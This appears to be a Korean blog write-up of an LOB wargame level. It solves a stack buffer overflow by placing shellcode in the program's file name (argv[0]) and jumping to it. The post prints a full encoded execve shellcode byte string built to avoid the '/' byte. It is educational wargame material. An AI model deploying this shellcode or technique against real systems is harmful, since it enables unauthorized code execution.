이전 문제랑 다른 점은 인자 갯수가 2개여야하고, memset함수를 두번 써줬다. 

 

argv[1]도 초기와 된다.. ㅂㄷㅂㄷ

 

아마 파일이름에 쉘코드를 넣고 argv[0] 를 ret에 넣어야될 것 같다.

 

그러려면 쉘코드에 2f가 들어가면 안된다. "/" 로 인식이 되기 때문에 오류가 발생하기 때문이다.

 

쉘코드는 \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

이걸 사용했다.

 

파일이름을 바꾸고 익스를 해보자.

 

argv[0]의 주소를 구해보자.

 

네모부터 쉘코드의 시작이다.

 

적당히 c0 주소로 박고 익스를 하였다.

'LOB > WriteUp' 카테고리의 다른 글

LOB - level10 [vampire -> skeleton]  (0) 2021.08.26
LOB - level9 [troll -> vampire]  (0) 2021.07.16
LOB - level7 [darkelf -> orge]  (0) 2021.05.21
LOB - level6 [wolfman -> darkelf]  (0) 2021.05.20
LOB - level5 [orc -> wolfman]  (0) 2021.05.20

+ Recent posts